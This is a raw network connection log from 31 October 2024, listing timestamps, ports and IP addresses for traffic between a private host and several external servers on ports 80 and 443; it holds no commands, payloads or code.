Oct 31, 2024 20:52:37.020121098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020133018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020189047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.021775007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.021832943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.021851063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.021863937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.021876097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.021881104 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.021904945 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.073621035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.197695017 CET	80	49772	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:37.197768927 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:37.201747894 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.202069998 CET	49773	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.207801104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.207912922 CET	80	49773	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.211262941 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.211349010 CET	49773	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.211613894 CET	49773	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.216437101 CET	80	49773	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.295458078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.295644045 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.751384020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.751442909 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:38.153891087 CET	80	49773	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:38.159362078 CET	49773	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:38.349682093 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:38.349776030 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:38.362293005 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:38.363289118 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:38.363321066 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:38.651302099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:38.656735897 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:39.187968016 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:39.208376884 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.208411932 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.208456039 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.225687027 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.225733995 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.226721048 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.238574982 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.238712072 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.238725901 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.707034111 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.707269907 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:39.721098900 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.734458923 CET	49775	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:39.734496117 CET	443	49775	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:40.407367945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:40.408152103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:40.598925114 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:40.599261999 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:40.604201078 CET	80	49772	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:40.604402065 CET	80	49776	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:40.609575987 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:40.610476017 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:40.612272978 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:40.617080927 CET	80	49776	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:41.135445118 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:41.135504961 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:41.135656118 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:41.137165070 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:41.137181997 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:41.545193911 CET	80	49776	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:41.558957100 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:41.992846966 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:41.997839928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997874022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997891903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997936010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997947931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997957945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997977972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997991085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.997999907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:41.999937057 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.047416925 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:42.048008919 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:42.055325985 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:42.061580896 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:42.071711063 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:42.071727037 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:42.071821928 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:42.071901083 CET	443	49777	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:42.073240995 CET	49778	80	192.168.2.4	34.107.221.82
Oct 31, 2024 20:52:42.075370073 CET	49777	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:42.078660011 CET	80	49778	34.107.221.82	192.168.2.4
Oct 31, 2024 20:52:42.092818022 CET	49778	80	192.168.2.4	34.107.221.82
Oct 31, 2024 20:52:42.093029976 CET	49778	80	192.168.2.4	34.107.221.82
Oct 31, 2024 20:52:42.097858906 CET	80	49778	34.107.221.82	192.168.2.4
Oct 31, 2024 20:52:42.160135984 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.165324926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165350914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165364027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165420055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165431023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165441990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165453911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165466070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165607929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165618896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165630102 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165641069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165652990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165663958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165743113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165754080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165874004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165884018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165894985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165906906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165918112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165930033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165941000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165951967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165963888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165973902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.165986061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166007996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166018009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166143894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166153908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166165113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166176081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166186094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166198015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166210890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166224957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166234970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166245937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166255951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166271925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166282892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166295052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166306973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166317940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166328907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166341066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166352987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166363001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166373968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166385889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166747093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166758060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166768074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166779995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166791916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166802883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166815042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166826010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166842937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166853905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166865110 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.166876078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167083025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167094946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167110920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167121887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167135954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167146921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167157888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167169094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167179108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167195082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167207003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167217970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167228937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167241096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167252064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167263985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167275906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167289972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167555094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167566061 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167574883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167587042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167598009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167608976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167622089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167632103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167642117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167651892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167663097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167679071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167689085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167700052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167716980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167726994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167738914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167749882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167759895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167771101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167783022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167794943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167805910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167817116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167828083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167839050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167850018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167860985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167871952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167882919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.167893887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168365955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168375969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168385983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168396950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168407917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168417931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168430090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168440104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168452024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168462038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168473959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168490887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168502092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168513060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168529034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168539047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168550014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168560028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168572903 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168582916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168593884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168605089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168616056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168627024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168637991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168648958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168661118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168672085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168684006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168693066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168704033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.168715000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169203043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169214964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169224977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169236898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169248104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169258118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169269085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169281006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169292927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169302940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169315100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169331074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169342041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169351101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169363022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169373035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169385910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169395924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169404984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169420004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169430017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169440985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169451952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169462919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169476986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169493914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169503927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169513941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169524908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169534922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169545889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169555902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169569016 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169579983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169591904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.169601917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170161009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170171976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170176983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170182943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170186996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170192957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170197964 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170202971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170207977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170212984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170217991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170227051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170233011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170241117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170244932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170250893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170255899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170262098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170267105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170277119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170281887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170286894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170293093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170299053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170305014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.170314074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.176436901 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176467896 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176508904 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176554918 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176556110 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176604986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176724911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176825047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176855087 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176882029 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176904917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176925898 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176969051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176969051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.176995993 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177016973 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177038908 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177062035 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177083015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177103996 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177133083 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.177133083 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.419449091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.420696020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:42.422240973 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:42.422296047 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:42.424906969 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:42.425616980 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:42.425632000 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:42.720474958 CET	80	49778	34.107.221.82	192.168.2.4
Oct 31, 2024 20:52:42.763565063 CET	49778	80	192.168.2.4	34.107.221.82
Oct 31, 2024 20:52:42.907479048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:42.909099102 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:43.049748898 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.050836086 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.052544117 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.052561045 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.052799940 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.054044008 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.054260015 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.054266930 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.087522030 CET	49780	443	192.168.2.4	142.250.184.206
